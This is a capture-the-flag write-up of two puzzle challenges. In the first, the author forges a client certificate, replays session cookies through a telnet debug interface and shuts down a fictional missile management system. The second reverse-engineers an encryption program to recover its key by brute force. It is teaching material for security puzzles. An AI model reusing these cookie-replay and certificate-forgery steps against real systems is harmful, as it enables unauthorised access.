subject=CN = administrator Getting CA Private Key
Double check that the leaf looks ok:
root@kali:/media/sf_CTFs/mossad/2# openssl x509 -in leaf.pem -text -noout Certificate: Data: Version: 3 (0x2) Serial Number: 45:c9:6a:20:cc:15:ba:7d:08:79:a7:53:b7:19:91:b9:20:60:45:40 Signature Algorithm: sha256WithRSAEncryption Issuer: CN = Evil MITM Validity Not Before: May 12 19:49:48 2019 GMT Not After : May 10 19:49:48 2024 GMT Subject: CN = administrator Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public-Key: (2048 bit) Modulus: 00:ce:4a:cd:69:f9:b8:a4:fd:3d:bb:79:a2:a7:43: 7b:67:3c:81:18:27:f8:79:83:58:cd:0a:a7:b0:21: 0a:08:c2:d3:d3:f6:28:d4:47:48:ac:14:1f:1c:dc: ef:21:99:39:70:9e:c4:b4:c8:6e:ce:da:1e:77:01: fe:e3:c2:1c:95:5e:0d:91:47:d5:ee:c7:8b:da:c9: 30:f6:ac:ea:43:c9:3e:08:c1:23:7a:e2:bb:3a:69: 2b:0d:38:16:53:91:cb:10:c3:b0:c4:34:13:29:3a: eb:ec:56:15:35:a0:8a:de:60:5b:08:2d:e2:af:52: db:a0:54:1c:f2:44:71:fd:c2:69:da:99:ff:c4:08: 93:67:14:16:c7:14:63:46:53:b6:df:f4:48:aa:c0: b8:5f:a7:0d:55:31:13:a2:d7:d9:4b:47:6f:a0:2a: a4:60:e7:e1:22:df:f7:39:da:b5:5e:71:6e:e5:85: cf:a4:37:7b:b7:12:4a:9e:83:0b:ad:2a:a4:e0:ef: 9c:b9:b7:3f:e6:26:a4:6c:2d:fa:86:d2:65:e4:64: 38:7d:14:c9:3e:22:4e:33:d1:00:84:e0:62:13:8a: 07:ca:f1:c9:5c:bc:2b:bb:d8:ff:2d:1a:95:ac:83: 9e:41:98:4c:81:fa:8d:22:8c:b9:33:2c:c3:09:ff: cc:8d Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA:FALSE X509v3 Subject Key Identifier: 40:18:7D:C1:BD:8C:70:DA:02:47:E0:7C:65:F2:64:F9:13:7F:D4:4A Signature Algorithm: sha256WithRSAEncryption 59:b1:99:89:bd:19:3c:4d:81:8e:ea:89:e4:20:7d:1d:8a:b5: 35:a3:b6:38:50:6c:fe:7b:f6:fe:99:ea:9e:3d:f8:43:6c:a4: 4e:c9:7b:d0:52:eb:6b:b4:90:7c:a7:7e:f9:c5:3f:55:25:4f: 60:71:1a:e4:48:a2:72:7f:9d:8e:3d:d5:e5:e5:9e:9d:a2:61: d0:ca:ff:ed:33:79:2d:d3:90:74:6e:4c:b0:c2:d2:c4:f2:7e: 59:44:89:64:d3:0a:fb:fe:32:d3:ed:5c:88:99:bd:89:28:9d: f6:72:5c:24:ac:06:fe:6a:d1:e0:ea:c7:54:30:db:ac:52:f4: 83:6f:41:d8:e0:45:23:0b:07:bc:60:aa:f3:e8:8d:af:53:2e: a1:4f:c9:28:91:ce:14:ef:26:9a:64:19:a8:4a:76:72:f1:cf: 9f:d4:26:b2:fe:0b:bd:3f:5e:67:d2:e0:d2:b0:4b:df:a0:99: 09:14:48:8f:82:6d:6c:b2:02:14:3c:60:a0:d9:f4:45:42:ba: 10:ec:47:b0:e7:2a:a3:a2:d0:4e:bc:7a:02:56:41:ec:4e:85: b1:3c:81:45:85:75:d1:ab:0c:c9:a6:0d:24:b9:3e:74:84:70: 3a:a0:c7:98:ad:83:35:1c:88:1e:80:b9:53:e7:b6:fa:47:95: 53:85:fa:78
We create a PKCS#12 file:
root@kali:/media/sf_CTFs/mossad/2# openssl pkcs12 -export -inkey leaf_key.pem -in leaf.pem -certfile intermediate.pem -out final.pfx Enter Export Password: Verifying - Enter Export Password:
Now we import it in the browser and try to access the settings:

We’re in!
We have access to a telnet debug interface which allows entering an IP and port, and a list of IPs and ports.
Anything but the first one (Management Status – Managed by 10.0.0.1:80) returns “Only one connection at a time is allowed”. Therefore, we’ll investigate the first interface.
Since the port is 80, we can try to issue raw HTTP commands:
GET / HTTP/1.0
We receive the following response (truncated):
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 5374 Set-Cookie: SID=Z0FBQUFBQmMySHNiWklXai05a3kwZ3paWll5NnlzMnZjcnNBOFZxaEZ4SDRVbV84Rlp1UzhLbG5STy1Nc2lHTVRZTFozOHZXYVBkZi1NckRzOTc3S09raW56MzZPXzBWdlppR05rS1dUUUlPS2FXNW9SUXBPd1J1Y1gxejdBVENVVFIwSDU1ZHpLajY3VFNoN0dKUnBVa0hPemZtalVTNVkxaHl1RHQtNU1hbE1xWDhCVzY1c2RFPQ==; Domain=.missilesystem.com; Expires=Tue, 11-Jun-2019 19:59:23 GMT; Path=/ Date: Sun, 12 May 2019 19:59:23 GMT Server: Cheroot/6.5.4 <html> <!-- ... --> <body> <div id="title" class="level1_title"> <div id="welcome"> <span>Welcome to Management System!</span> </div> <div id="settings"><span><a href="/settings">settings</a></span></div> </div> <div id="status"> <div id="managemenetstatus"> <div id="managemenetstatus_title" class="level2_title"> <span class="name">Management Status</span> <span class="value">OK</span> </div> <div id="managemenetstatus_content"> <div id="earlywarning_status" class="level3_title"> <span class="name">Missile System</span> <span class="value">OK</span> </div> </div> </div> </div> </body> </html>
Let’s try to access the setting page:
GET /settings HTTP/1.1
The response:
HTTP/1.1 302 FOUND Content-Type: text/html; charset=utf-8 Content-Length: 237 Location: http://10.0.0.1 Date: Sun, 12 May 2019 20:01:13 GMT Server: Cheroot/6.5.4 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to target URL: <a href="http://10.0.0.1">http://10.0.0.1</a>. If not click the link.
But what if we send the cookie this time?
GET /settings HTTP/1.0 Cookie: SID=Z0FBQUFBQmMySHNiWklXai05a3kwZ3paWll5NnlzMnZjcnNBOFZxaEZ4SDRVbV84Rlp1UzhLbG5STy1Nc2lHTVRZTFozOHZXYVBkZi1NckRzOTc3S09raW56MzZPXzBWdlppR05rS1dUUUlPS2FXNW9SUXBPd1J1Y1gxejdBVENVVFIwSDU1ZHpLajY3VFNoN0dKUnBVa0hPemZtalVTNVkxaHl1RHQtNU1hbE1xWDhCVzY1c2RFPQ==; Domain=.missilesystem.com; Expires=Tue, 11-Jun-2019 19:59:23 GMT; Path=/
We get a response:
HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 5203 Set-Cookie: SID=Z0FBQUFBQmMySHUtTlJUamp1My11eF9Yc250dFFOOVZMUVI2ZmZlV0pSd0NQMXVZT2RJQWplMmxqTXpadlNEckdtazdYRTd1VmRLNmd6eEZVWFR2QVBIQjljcFVrT0VQbTJhMlNwRTFLV1ludGZITWg0QnJHRjhhSGg1djVwcEFaOGhIWldnSm44RG5xdDVjS0lib2hGamZ0ZkllS0VQRGQzbjRhN20xRnNaZHQ4VFVSd3BiVkhrPQ==; Domain=.missilesystem.com; Expires=Tue, 11-Jun-2019 20:02:06 GMT; Path=/ Date: Sun, 12 May 2019 20:02:06 GMT Server: Cheroot/6.5.4 <html> <!-- ... --> <body> <div id="title" class="level1_title"> <div id="welcome"> <span>Management System Settings</span> </div> </div> <div id="status"> <div id="telnetdebugging"> <div id="telnetdebugging_title" class="level2_title"><span>Telnet Debugging</span></div> <div id="telnet"> <form method="post"> <div id="console"> <input type="submit" value="Turn Off Management System"></input> </div> </form> </div> </div> </div> </body> </html>
We have a big button saying “Turn Off Management System”, let’s click it:
POST /settings HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 0 Cookie: SID=Z0FBQUFBQmMySHUtTlJUamp1My11eF9Yc250dFFOOVZMUVI2ZmZlV0pSd0NQMXVZT2RJQWplMmxqTXpadlNEckdtazdYRTd1VmRLNmd6eEZVWFR2QVBIQjljcFVrT0VQbTJhMlNwRTFLV1ludGZITWg0QnJHRjhhSGg1djVwcEFaOGhIWldnSm44RG5xdDVjS0lib2hGamZ0ZkllS0VQRGQzbjRhN20xRnNaZHQ4VFVSd3BiVkhrPQ==; Domain=.missilesystem.com; Expires=Tue, 11-Jun-2019 20:02:06 GMT; Path=/
The success page is shown!

Challenge #3
Description
Hello again, Agent.
After you disabled the weapon system, we have successfully raided the terrorist compound and took all present into custody.
The terrorists destroyed much of the data they kept, but we have managed to retrieve an encrypted file containing links to the other members of the network, as well as the program used to encrypt it.
Sadly, the encryption computer was destroyed. Aside from unidentified manufacturer markings on the front (Or… Po… Ltd.) we don’t know anything about it.
Hopefully that won’t stop you from decrypting this important intel.
Good luck!, M.|
A binary file (EncryptSoftware.exe
) and an encrypted file (intel.txt.enc
) were attached.
Solution
Let’s start by running the program:
E:\CTFs\mossad>EncryptSoftware.exe USAGE: Encrypt <input file name> <output file name>
It looks like the program expects two arguments: An input filename and an output file name.
We’ll use Ghidra to investigate the program. We’ll show the decompilation output (after performing some renaming). The full decomplied output can be found in the Challenge3_files
folder.
We’ll start with the main function:
undefined4 __cdecl main(int argc,char **argv) { char *output_buffer; HANDLE *ppvVar1; HANDLE pvVar2; DWORD bytes_written; int bytes_to_write; LPCWSTR lpOutputFileName; if (argc < 3) { print("USAGE: Encrypt <input file name> <output file name>"); return 0xffffffff; } argc = 0; output_buffer = encrypt(argv[1],&argc); lpOutputFileName = (LPCWSTR)argv[2]; ppvVar1 = (HANDLE *)allocate(4); if (ppvVar1 != (HANDLE *)0x0) { pvVar2 = CreateFileW(lpOutputFileName,0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,0x80,(HANDLE)0x0 ); bytes_to_write = argc; *ppvVar1 = pvVar2; if (pvVar2 == (HANDLE)0xffffffff) { free(ppvVar1); return 0; } bytes_written = 0; WriteFile(*ppvVar1,output_buffer,argc,&bytes_written,(LPOVERLAPPED)0x0); if (bytes_written != bytes_to_write) { cleanup(lpOutputFileName); } } return 0; }
Not much to see here, we see that the function calls encrypt
with the input file name, and writes the result to the output file name.
encrypt
is a bit longer. It starts by calling another function and saving the result:
padded_md5 = (undefined4 *)padded_md5_filename_mac(input_file_name); if (padded_md5 == (undefined4 *)0x0) { pcVar2 = (char *)FUN_00401f78(); return pcVar2; }
This function is implemented as follows:
char * __fastcall padded_md5_filename_mac(char *file_name) { ushort uVar1; ushort *puVar2; undefined8 *pbData; int file_name_len_2; undefined4 *p_mac_addr; BOOL BVar3; char *pcVar4; undefined4 *puVar5; int i; uint file_name_len; HCRYPTPROV hProv; DWORD hash_len; HCRYPTHASH hHash; byte hash_output [16]; puVar2 = FUN_00402abe(file_name,'\\'); if (puVar2 != (ushort *)0x0) { file_name = (char *)(puVar2 + 1); } puVar2 = (ushort *)file_name; do { uVar1 = *puVar2; puVar2 = puVar2 + 1; } while (uVar1 != 0); file_name_len = (int)((int)puVar2 - (int)((ushort *)file_name + 1)) >> 1; pbData = (undefined8 *)allocate(file_name_len + 6); if (pbData == (undefined8 *)0x0) { pcVar4 = (char *)FUN_00401f78(); return pcVar4; } file_name_len_2 = copy_str_into_buffer(pbData,(ushort *)file_name,file_name_len); if (file_name_len_2 == 0) goto LAB_00401633; p_mac_addr = (undefined4 *)get_mac_addr(); puVar5 = (undefined4 *)((int)pbData + file_name_len); if (puVar5 == (undefined4 *)0x0) { LAB_00401530: puVar5 = (undefined4 *)FUN_00407f40(); *puVar5 = 0x16; FUN_00407e83(); } else { if (p_mac_addr == (undefined4 *)0x0) { *puVar5 = 0; *(undefined2 *)(puVar5 + 1) = 0; goto LAB_00401530; } // Copy MAC address after file name *puVar5 = *p_mac_addr; *(undefined2 *)(puVar5 + 1) = *(undefined2 *)(p_mac_addr + 1); } hProv = 0; hHash = 0; hash_len = 0x10; BVar3 = CryptAcquireContextW(&hProv,(LPCWSTR)0x0,(LPCWSTR)0x0,1,0xf0000000); if (BVar3 != 0) { // MD5 (0x8003) BVar3 = CryptCreateHash(hProv,0x8003,0,0,&hHash); if (BVar3 != 0) { BVar3 = CryptHashData(hHash,(BYTE *)pbData,file_name_len + 6,0); if (BVar3 != 0) { BVar3 = CryptGetHashParam(hHash,2,hash_output,&hash_len,0); if (BVar3 != 0) { puVar5 = (undefined4 *)allocate(0x20); if (puVar5 != (undefined4 *)0x0) { i = 0; *puVar5 = 0; puVar5[1] = 0; puVar5[2] = 0; puVar5[3] = 0; puVar5[4] = 0; puVar5[5] = 0; puVar5[6] = 0; puVar5[7] = 0; // Pad MD5 result (nibble to byte) if (0 < (int)hash_len) { do { if (0xf < i) break; *(byte *)((int)puVar5 + i * 2) = hash_output[i] >> 4; *(byte *)((int)puVar5 + i * 2 + 1) = hash_output[i] & 0xf; i = i + 1; } while (i < (int)hash_len); } } } } } if (hProv != 0) { CryptReleaseContext(hProv,0); } if (hHash != 0) { CryptDestroyHash(hHash); } } if (p_mac_addr != (undefined4 *)0x0) { free(p_mac_addr); } LAB_00401633: free(pbData); pcVar4 = (char *)FUN_00401f78(); return pcVar4; }
What is does is:
- Allocate a buffer of
len(filename) + 6
- Copy the filename into this buffer
- After the filename, copy the machine’s MAC address into the buffer
- Calculate an MD5 hash over the buffer
- Allocate a buffer of 32 bytes, which is twice as long as the MD5 hash output
- “Pad” the MD5 hash by turning every nibble into a byte
For example, for the filename “file.txt” and the MAC address “AABBCCDDEEFF”, the buffer would be:
file.txt\xAA\xBB\xCC\xDD\xEE\xFF
The MD5 would be:
b9cab29e8ade3a62f0bc38b3e1398572
And the result would be:
0b090c0a0b02090e080a0d0e030a06020f000b0c03080b030e01030908050702
Back to encrypt
. The next step after receiving the padded MD5 is to call an internal function which performs classic encryption:
encrypted_size = 0; encrypted_buf = do_encrypt((LPCWSTR)input_file_name,&encrypted_size);
This function is implemented as follows:
char * __fastcall do_encrypt(LPCWSTR file_name,size_t *output_size) { BOOL BVar1; char *pcVar2; undefined8 *mac_addr; undefined4 *puVar3; undefined4 *disk_serial; DWORD input_file_size; size_t _Size; char *output_buf; int iVar4; HANDLE *input_file_handle; DWORD total_bytes_read; undefined8 *buf1; bool bVar5; HCRYPTKEY hKey; HCRYPTHASH hHash; uint bytes_read; int offset; HCRYPTPROV hProv; ushort *temp; char read_buf [16]; input_file_handle = (HANDLE *)0x0; buf1 = (undefined8 *)0x0; hProv = 0; hKey = 0; hHash = 0; CryptAcquireContextW(&hProv,L"DataSafeCryptContainer",(LPCWSTR)0x0,0x18,0x50); BVar1 = CryptAcquireContextW(&hProv,L"DataSafeCryptContainer",(LPCWSTR)0x0,0x18,0x48); if (BVar1 == 0) { GetLastError(); print("%x"); goto LAB_004010b6; } BVar1 = CryptCreateHash(hProv,0x8003,0,0,&hHash); if ((BVar1 == 0) || (buf1 = (undefined8 *)allocate(0xe), buf1 == (undefined8 *)0x0)) goto LAB_004010b6; mac_addr = (undefined8 *)get_mac_addr(); if (mac_addr == (undefined8 *)0x0) { LAB_00401252: free(buf1); buf1 = (undefined8 *)0x0; } else { copy_buf_(buf1,0xe,mac_addr,6); temp = (ushort *)execute_command(L"wmic bios get serialnumber"); if (temp == (ushort *)0x0) { LAB_00401241: bVar5 = false; } else { puVar3 = extract_serial(temp); free(temp); if (puVar3 == (undefined4 *)0x0) goto LAB_00401241; temp = (ushort *)lchar_to_dword((ushort *)puVar3); if (temp == (ushort *)0xffffffff) { bVar5 = false; free(puVar3); } else { // Now buffer will contain mac + bios_serial[0:4] copy_buf_((undefined8 *)((int)buf1 + 6),8,(undefined8 *)&temp,4); disk_serial = get_disk_serial(); if (disk_serial == (undefined4 *)0x0) { bVar5 = false; free(puVar3); } else { temp = (ushort *)lchar_to_dword((ushort *)disk_serial); bVar5 = temp != (ushort *)0xffffffff; if (bVar5) { // Now buffer will contain mac + bios_serial[0:4] + disk_serial[0:4] copy_buf_((undefined8 *)((int)buf1 + 10),4,(undefined8 *)&temp,4); } free(disk_serial); free(puVar3); } } } free(mac_addr); if (!bVar5) goto LAB_00401252; } if (((buf1 != (undefined8 *)0x0) && (BVar1 = CryptHashData(hHash,(BYTE *)buf1,0xe,0), BVar1 != 0)) && (BVar1 = CryptDeriveKey(hProv,0x6610,hHash,0,&hKey), BVar1 != 0 // CALG_AES_256 = 0x6610)) { input_file_handle = get_file_handle(file_name,0x80000000,3); total_bytes_read = 0; if (input_file_handle != (HANDLE *)0x0) { temp = (ushort *)0x0; input_file_size = GetFileSize(*input_file_handle,(LPDWORD)0x0); // align size to 16 bytes _Size = (input_file_size & 0xfffffff0) + 0x10; output_buf = (char *)allocate(_Size); if (output_buf != (char *)0x0) { offset = 0; read_buf._0_4_ = 0; read_buf._4_4_ = 0; read_buf._8_4_ = 0; read_buf._12_4_ = 0; iVar4 = ReadFile(*input_file_handle,read_buf,0x10,&bytes_read,(LPOVERLAPPED)0x0); while ((iVar4 != 0 && (bytes_read != 0))) { total_bytes_read = total_bytes_read + bytes_read; if (total_bytes_read == input_file_size) { temp = (ushort *)0x1; } BVar1 = CryptEncrypt(hKey,0,(BOOL)temp,0,(BYTE *)read_buf,&bytes_read,0x10); if (BVar1 == 0) { free(output_buf); goto LAB_004010b6; } copy_buffer((undefined8 *)(output_buf + offset),(undefined8 *)read_buf,bytes_read); offset = offset + bytes_read; read_buf._0_4_ = 0; read_buf._4_4_ = 0; read_buf._8_4_ = 0; read_buf._12_4_ = 0; iVar4 = ReadFile(*input_file_handle,read_buf,0x10,&bytes_read,(LPOVERLAPPED)0x0); } *output_size = _Size; } } } LAB_004010b6: CryptReleaseContext(hProv,0); if (hProv != 0) { CryptReleaseContext(hProv,0); } if (hHash != 0) { CryptDestroyHash(hHash); } if (buf1 == (undefined8 *)0x0) { free((void *)0x0); } if (hKey != 0) { CryptDestroyKey(hKey); } if (input_file_handle != (HANDLE *)0x0) { CloseHandle(*input_file_handle); free(input_file_handle); } pcVar2 = (char *)FUN_00401f78(); return pcVar2; }
It starts by calling WinAPI functions to setup the crypto context. It then:
- Allocates a buffer of length 0xE
- Copies the machine’s MAC address into the buffer
- Calls the
wmic bios get serialnumber
command to read the BIOS serial number - Copies the first four bytes to the buffer
- Calls the
wmic diskdrive get serialnumber
command to read the disk drive’s serial number - Copies the first four bytes of the result to the buffer
- Uses the buffer to derive key material for AES_256 encryption
- Encrypts the buffer with AES_256
- Returns the encrypted buffer and size
Since the function uses standard AES-256 in order to encrypt the buffer, it looks like we won’t be able to find any shortcuts when attempting to decrypt it – We’ll have to reconstruct the same key and use AES-256 decryption.
Back to encrypt
again to see what happens with the result:
if (encrypted_buf != (char *)0x0) { puVar3 = (ushort *)execute_command(L"wmic diskdrive get serialnumber"); if (puVar3 == (ushort *)0x0) { diskdrive_serial = (undefined4 *)0x0; } else { diskdrive_serial = extract_serial(puVar3); free(puVar3); if (diskdrive_serial != (undefined4 *)0x0) { dd_serial_dword = lchar_to_dword((ushort *)diskdrive_serial); buffer = (undefined4 *)allocate(encrypted_size + 2992); if (buffer != (undefined4 *)0x0) { *buffer = 0x531b008a; puVar3 = (ushort *)execute_command(L"wmic bios get serialnumber"); if (puVar3 != (ushort *)0x0) { puVar4 = extract_serial(puVar3); free(puVar3); if (puVar4 != (undefined4 *)0x0) { bios_serial_dword = lchar_to_dword((ushort *)puVar4); garble_buf(garble_buf,bios_serial_dword); src_offset = 0; limit = 625; counter = 0; uVar8 = (int)encrypted_size / 0x2e3 + ((int)encrypted_size >> 0x1f); p_current_src = garble_buf; p_current_dest = garble_buf_copy; while (limit != 0) { limit = limit + -1; *p_current_dest = *p_current_src; p_current_src = p_current_src + 1; p_current_dest = p_current_dest + 1; } iVar5 = (uVar8 >> 0x1f) + uVar8; uVar8 = iVar5 + 1; // copy padded md5 starting from buf[4] (8 dwords) iVar7 = 8; p_current_padded_md5 = padded_md5; puVar4 = buffer; while (puVar4 = puVar4 + 1, iVar7 != 0) { iVar7 = iVar7 + -1; *puVar4 = *p_current_padded_md5; p_current_padded_md5 = p_current_padded_md5 + 1; } iVar7 = 0x24; iVar5 = encrypted_size + iVar5 * -0x2e3; do { uVar6 = other_garble(garble_buf_copy); *(uint *)(iVar7 + (int)buffer) = uVar6; if (counter == iVar5) { uVar8 = uVar8 - 1; } copy_buffer((undefined8 *)(iVar7 + 4 + (int)buffer), (undefined8 *)(encrypted_buf + src_offset),uVar8); sVar1 = encrypted_size; counter = counter + 1; src_offset = src_offset + uVar8; iVar7 = iVar7 + 4 + uVar8; } while (counter < 739); if (src_offset != encrypted_size) { print("NOT read enaugh bytes %d , %d"); } iVar5 = sVar1 + 2988; *output_len = iVar5; iVar7 = 0; if (0 < iVar5) { do { *(uint *)(iVar7 + (int)buffer) = *(uint *)(iVar7 + (int)buffer) ^ dd_serial_dword; iVar7 = iVar7 + 4; } while (iVar7 < iVar5); } goto LAB_00401895; } } free(buffer); } } } }
encrypt
proceeds by:
- Calling
wmic diskdrive get serialnumber
to get the disk drive serial again - Allocating an output buffer of size
encrypted_size + 2992
- Setting the first DWORD in the buffer to the magic value
0x531b008a
- Calling
wmic bios get serialnumber
to get the BIOS serial number again - Calling some kind of user-defined hash(?) function
garble_buf(garble_buf,bios_serial_dword)
, wheregarble_buf
is a local buffer of size625 * sizeof(uint)
andbios_serial_dword
is the first four bytes of the BIOS serial. - Making a copy of
garble_buf
in another local buffer of the same size (garble_buf_copy
) - Copying the padded MD5 into the buffer, after the magic value
- Starting a loop which:
- Calls another hash(?) function
other_garble(garble_buf_copy)
to receive a 4-byte hash(?) value - Copies this value to the buffer
- Copies a chunk of the encrypted text to the buffer
- (At some point, changes the chunk size by decrementing it)
- Calls another hash(?) function
After the encrypted buffer is copied to the output buffer (chunk by chunk, where in between we have garbled DWORD separators), the buffer is XORed using dd_serial_dword
(the first four bytes of the disk drive).
The buffer is later returned to the main function, which writes it to the output file.
The garbling functions are defined as:
void __fastcall garble_buf(undefined4 *buffer,undefined4 initial_value) { *buffer = initial_value; buffer[0x270] = 1; do { buffer[buffer[0x270]] = (buffer + buffer[0x270])[-1] * 0x17b5; buffer[0x270] = buffer[0x270] + 1; } while ((int)buffer[0x270] < 0x270); return; } uint __cdecl other_garble(uint *garbled_buf_copy) { uint uVar1; int i; if ((0x26f < (int)garbled_buf_copy[0x270]) || ((int)garbled_buf_copy[0x270] < 0)) { if ((0x270 < (int)garbled_buf_copy[0x270]) || ((int)garbled_buf_copy[0x270] < 0)) { garble_buf(garbled_buf_copy,0x1105); } i = 0; while (i < 0xe3) { garbled_buf_copy[i] = (garbled_buf_copy[i] & 0x80000000 | garbled_buf_copy[i + 1] & 0x7fffffff) >> 1 ^ garbled_buf_copy[i + 0x18d] ^ *(uint *)(&DAT_0041e8c0 + (garbled_buf_copy[i + 1] & 1) * 4); i = i + 1; } while (i < 0x26f) { garbled_buf_copy[i] = (garbled_buf_copy[i] & 0x80000000 | garbled_buf_copy[i + 1] & 0x7fffffff) >> 1 ^ garbled_buf_copy[i + -0xe3] ^ *(uint *)(&DAT_0041e8c0 + (garbled_buf_copy[i + 1] & 1) * 4); i = i + 1; } garbled_buf_copy[0x26f] = (garbled_buf_copy[0x26f] & 0x80000000 | *garbled_buf_copy & 0x7fffffff) >> 1 ^ garbled_buf_copy[0x18c] ^ *(uint *)(&DAT_0041e8c0 + (*garbled_buf_copy & 1) * 4); garbled_buf_copy[0x270] = 0; } uVar1 = garbled_buf_copy[garbled_buf_copy[0x270]]; garbled_buf_copy[0x270] = garbled_buf_copy[0x270] + 1; uVar1 = uVar1 >> 0xb ^ uVar1; uVar1 = (uVar1 & 0x13a58ad) << 7 ^ uVar1; uVar1 = (uVar1 & 0x1df8c) << 0xf ^ uVar1; return uVar1 >> 0x12 ^ uVar1; }
garble_buf
receives a buffer of size 0x271 * sizeof(uint)
and an initial value (DWORD). It copies the initial value to the first DWORD of the array, and then uses it to fill the rest of the array with a derived value. buffer[0x270]
is used as an index to the current array member that the function is working on.
other_garble
takes the product of garble_buf
and garbles it a bit more. According to the last few lines of the function, it looks like the bit shifting will cause the result to lose information, and therefore it might be impossible to use the result to reconstruct the original value.
Now that we’ve reviewed the main functionality, we can start our attempt to decrypt the file. The file we’ve received is called intel.txt.enc
and is 38,924 bytes long.
It starts with the following content:

The last thing that happens is a XOR operation being applied to the file, so we should start by performing the opposite operation in order to recover the contents before the XOR. Since the first DWORD in the original buffer is a magic value (0x531b008a
), we XOR the current value (0x632B30BA
) with the magic value in order to recover the key used to XOR the file (which happens to be the first four bytes of the disk driver serial number):
>>> hex(0x632B30BA ^ 0x531b008a) '0x30303030'
This is good, since we got a result which looks like ASCII (chr(0x30) = '0'
).
We can now use this value to un-XOR the complete file:
def readXorInt(f, xor): b = f.read(4) if not b: return None res = int.from_bytes(b, byteorder="little") ^ xor return res with open(output_filename, "rb") as f, open("phase1.bin", "wb") as o: dd_serial = readXorInt(f, MAGIC) o.write(dd_serial.to_bytes(4, byteorder="little")) while True: res = readXorInt(f, dd_serial) if res is None: break o.write(res.to_bytes(4, byteorder="little"))
The result:

The first 4 bytes are the magic value, and the 32 bytes that follow are the padded MD5:
00 09 04 09 0B 04 06 0B 07 03 0E 03 0A 0F 06 0F 05 0A 0F 0C 08 01 09 05 05 03 06 07 02 09 05 0C
If we remove the padding, the MD5 is:
0949b46b73e3af6f5afc81955367295c
We know that the MD5 is composed of FileName + MAC
, and we know that FileName
is (probably) intel.txt
. We’d like to find the MAC address since it’s used later on in the encryption key.
We can perform brute force in order to find a 6-byte value where MD5("intel.txt" + ??????) == 0949b46b73e3af6f5afc81955367295c
, but that might take a while. Let’s try to use what we know in order to reduce the search space.
- We know that the file was encrypted on a machine manufactured by “Or… Po… Ltd.” (from the description)
- We know that MAC addresses are divided into two parts: The first three bytes are a manufacturer ID and the other three bytes are a unique device ID
- If we can identify the manufacturer, we can reduce the search space to three bytes.
A large list of MAC manufacturers and IDs can be found here. From that list, two seems to match the “Or… Po…” pattern:
8CF813 ORANGE POLSKA 001337 Orient Power Home Network Ltd.
Out of the two, the second options seems much more realistic, not only because it ends with “Ltd.”, but also because it has the valuable ID of 1337.
Now we can brute force the remainder much faster:
mac_prefix = (0x00, 0x13, 0x37) with open("phase1.bin", "rb") as f: readXorInt(f, 0) # Dummy read, we already have the dd_serial padded_md5 = bytearray() for i in range(4 * 2): dword = readXorInt(f, 0) padded_md5 += dword.to_bytes(4, byteorder='little') padded_md5 = binascii.hexlify(padded_md5) assert (padded_md5[::2] == b"0" * 32) md5 = padded_md5[1::2] print("MD5: {}".format(md5)) mac = mac_prefix + find_md5(input_filename, mac_prefix, 3, md5) mac_hex = binascii.hexlify(bytes(mac)) print ("MAC Address: {}".format(mac_hex))
The result:
Disk drive serial: 0x30303030 MD5: b'0949b46b73e3af6f5afc81955367295c' MAC Address: b'0013378eab66'
Another piece of information we can extract is the length of the AES-256 encrypted buffer.
encrypted_size = 0; encrypted_buf = do_encrypt((LPCWSTR)input_file_name,&encrypted_size); //... sVar1 = encrypted_size; //... iVar5 = sVar1 + 2988; *output_len = iVar5;
The length of the output file is 2988 bytes larger than the length of the AES-256 input buffer (which is the size of the input file + AES block alignment).
encrypted_length = os.fstat(f.fileno()).st_size - 2988 print ("Length of encrypted message: {}".format(encrypted_length))
Now it’s time to start to extract the ciphertext, while skipping the garbled DWORDs.
We know that immediately after the padded MD5 we have a garbled DWORD, then a chunk of ciphertext, then another garbled DWORD, a chunk of ciphertext and so on.
The chunk size is calculated as follows:
uVar8 = (int)encrypted_size / 0x2e3 + ((int)encrypted_size >> 0x1f); //... iVar5 = (uVar8 >> 0x1f) + uVar8; uVar8 = iVar5 + 1; //... iVar5 = encrypted_size + iVar5 * -0x2e3; //... if (counter == iVar5) { // Happens within the copy loop uVar8 = uVar8 - 1; }
If we calculate this for our encrypted size, we get:
>>> encrypted_size = 35936 >>> uVar8 = encrypted_size // 0x2e3 + (encrypted_size >> 0x1f) >>> iVar5 = (uVar8 >> 0x1f) + uVar8 >>> uVar8 = iVar5 + 1 >>> iVar5 = encrypted_size + iVar5 * -0x2e3 >>> uVar8 49 >>> iVar5 464 ```` We use this to read the ciphertext: ```python def get_size_and_decrement_index(encrypted_length): size = encrypted_length // 0x2e3 + (encrypted_length >> 0x1f) decrement_index = (size >> 0x1f) + size size = decrement_index + 1 decrement_index = encrypted_length + decrement_index * -0x2e3 return (size, decrement_index) ciphertext = bytearray() bytes_read = 0 i = 0 size, decrement_index = get_size_and_decrement_index(encrypted_length) while bytes_read < encrypted_length: if i == decrement_index: size -= 1 garble = readXorInt(f, 0) ciphertext += f.read(size) bytes_read += size i += 1
Now we have the ciphertext, and almost all of the key. It’s time to get the rest of the key and decrypt the text file.
The key is composed of:
MAC[0:6] + BIOS_SERIAL[0:4] + DISK_DRIVE_SERIAL[0:4]
We have the MAC address and the disk driver serial, how do we find the BIOS serial?
We’ll, in this case we’ll have to apply some brute force. The only other place where the BIOS serial is used is as the initial value for the garble_buf()
function, which produces output that is consumed by other_garble()
and at least on the surface seems irreversible. The result of other_garble()
is a DWORD which serves as a delimiter for ciphertext chunks.
Instead of trying to build our way back from the garbled DWORD to the original initial value, let’s work the other way around and try to find an initial value which will produce the garbled DWORD we see in the encrypted file.

The first DWORD starts at 0x24 and has the value of 0x00BB65FE.
We’ll use the following C code to find the initial value that will produce it:
